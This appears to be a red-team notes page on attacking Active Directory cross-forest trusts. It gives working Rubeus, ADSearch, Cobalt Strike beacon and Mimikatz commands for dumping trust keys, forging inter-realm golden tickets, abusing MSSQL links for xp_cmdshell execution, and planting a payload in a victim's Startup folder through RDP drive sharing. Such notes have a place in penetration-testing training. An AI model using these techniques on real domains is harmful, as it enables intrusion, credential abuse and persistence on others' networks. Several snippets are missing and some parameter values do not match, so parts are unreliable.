Cross Forest Attacks
In this section we are going to abuse trusts between forests.
One-Way (Inbound)¶
When a trust is inbound in our perspective, it means that principals in our domain can be granted access to resources in the foreign domain.
- PowerView (dev):
We can enuemrate also groups that contains users outside of its domain.
- PowerView (dev):
MemberName field contains a SID that can be resolved in our current domain with:
To hop a domain trust using Kerberos, we first need an inter-realm Key. We need a TGT for the target user.
Then, we can use the TGT to request a referral ticket form the current domain to the target domain.
.\Rubeus.exe asktgs /service:krbtgt/target-domain.com /domain:corp.local /dc:dc01.corp.local /ticket:<base64-ticket> /nowrap
Note: The inter-realm ticket is
rc4_hmaceven if we created the TGT withaes256_cts_hmac_sha1. This is a default configuration unless AES has ben specifically configured on the trust.
Finally we an use this inter-realm ticket to request a TGS.
.\Rubeus.exe asktgs /service:cifs/dc.target-domain.com /domain:target-domain.com /dc:dc.target-domain.com /ticket:<base64-inter-realm> /nowrap
One-Way (Outbound)¶
If Domain A (Me) trusts Domain B, users in Domain B can access resources in Domain A but users in Domain A should not be able to access resources in Domain B. But there are some circumstances in which we can slide under the radar. An example of this includes SQL Server Links.
Trusted Domain Object (TDO) user¶
But, we can still partially exploit this trus and obtain a "Domain User" of the trust abusing the Trusted Domain Object (TDO). Both domains in a trust relationship store a shared password which is automatically changed every 30 days. These objects are stored in the system contained and can be read via LDAP.
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=trustedDomain)" --domain corp.local --attributes distinguishedName,name,flatName,trustDirection
Retrieving the Trusted Key¶
There are two ways:
- Moving laterally to the DC and dump the key from memory.
Note: Memory patching is very risky, particularly on domain controllers.
- Using DCSync with the TDO GUID.
[Out] and [Out-1] are the "new" and "old" passwords respectively. In most cases, the current [Out] key is the one you want.
Creating a TGT¶
In addition, there is also a "trust account" which is created in the "trusted" domain, with the name of the "trusting" domain. For instance, if we get all the user accounts in the DEV domain, we'll see CYBER$ and STUDIO$, which are the trust accounts for those respective domain trusts.
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=user)"
[*] TOTAL NUMBER OF SEARCH RESULTS: 11
[...]
[+] cn : CORP$
[+] cn : TARGET$
This meand TARGET domain will have a trust account called CORP$. This is the account we must impersonate to request Kerberos tickets across the trust.
.\Rubeus.exe asktgt /user:CORP$ /domain:target-domain.com /rc4:f3fc2312d9d1f80b78e67d55d41ad496 /nowrap
Note: RC4 tickets are used by default across trusts.
Trust Abuse with MSSQL Server¶
MSSQL Servers are generally deployed in plenty windows domain. SQL Servers provide very good options for lateral movement as domain users can be mapped to dabase roles.
A fantastic tool to abuse MSSQL is PowerUpSQLl:
Note: Important! Write
Import-Moduleand import which have PSD1 extension.
We can discover SQL servers:
We can check accessibility:
Gather information:Database Links¶
A database link allows a SQL Server to access external data sources like other SQL Servers and OLE DB data sources. In case of databases links between Microsoft SQL Servers, it is possible to execute stored procedures which means RCE.
Database link works even across forest trusts.
So we can execute queries on the remote Server Link, see if this server has others links and above, instead of doing it manually that will be explained in a note, exists a script that crawls all the mssql server links.
Note: Manual way:
See if has a server link:
select * from master..sysserversOpenquery() function can be used to run quieries on a linked database:
select * from openquery("CORP-SQL1", 'select * from master..sysservers')
select * from openquery("CORP-SQL1", ''select * from openquery("CORP-SQL2", 'master..sysservers'')')
To execute commands from MSSQL server we need to use xp_cmdshell. If rpcout is enabled xp_cmdshell can be enabled using:
And finally:
RDPInception¶
Another way is via RDP drive sharing (RDPInception). When a user enables drive sharing for their RDP sessions, it creates a mount-point on the target machine that maps back to their local machine. If the target machine is compromised, we may migrate into RDP users's session and use this mount-point to write files directly onto their machine. Useful for dropping payloads into their startup folder which would be executed the next time they logon.
The strategy is to find principals in our current domain that are not native to that domain, but are from external.local.
- PowerView (dev):
Note: We can not convert the SID with
ConvertFrom-SIDsince we don't have access to the other Domain.
A nice methodology is to enumerate the current domain and find instances where members of the foreign domain, have privileged access (local admin, RDP, WinRM, DCOM access), move laterally to those machines, and camp there until you see a member authenticate. Then, impersonate them to hop the trust.
Get-DomainGPOUserLocalGroupMapping and Find-DomainLocalGroupMember can work for that task:
- PowerView (dev):
Get-DomainGPOUserLocalGroupMapping -Identity "Jump Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
2365 1012 rdpclip.exe x64 3 EXT\j.doe
Now at that moment we can do import PowerView and enumerate the domain, because we simply hijacked and existing authenticated session and we are inside a valid external.local domain.
Inside the user RDP session if Drive Sharing is enabled a UNC tsclient has a mount point for every drive that is being shared over RDP.
\\tsclient\C is the C:\ drive of the origin machine of the RDP session, so we can upload a bat or exe to the users startup folder.
beacon> cd \\tsclient\c\Users\j.doe\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload payload.exe
Across Forests using Trust Tickets¶
First we need to retrieved the Trust Key:
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
Note: The access we will have will be limited to what our DA account is configured to have on the other Forest!
An inter-realm TGT can be forged:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-268341927-4156871508-1792461683 /rc4:cd3fb1b0b49c7a56d285fffdd1399231 /service:krbtgt /target:extcorp.local /ticket:C:\temp\trust_forest_tkt.kirbi"'
| Parameter | Description |
|---|---|
| /domain:sub.corp.local | Current Domain FQDN |
| /sid:S-1-5-21-268341927-4156873456-1784235843 | Current Domain SID |
| /user:Administrator | User to impersonate |
| /rc4:a9b30e5b0dc865eadcea9411e4ade72d | krbtgt hash of Current Domain |
| /service:krbtgt | krbtgt service to abuse |
| /target:extcorp.local | Target domain |
| /tiket:C:\Windows\Temp\trust_tkt.kirbi | File to store the ticket |
Now we can request a TGS for cifs service on the dc of the trusted forest.
- Asktgs.exe (kekeo_old)
- Rubeus.exe
And inject the ticket on the current session:
Note: We can not list all the file system of other forest. We can only list shared folders.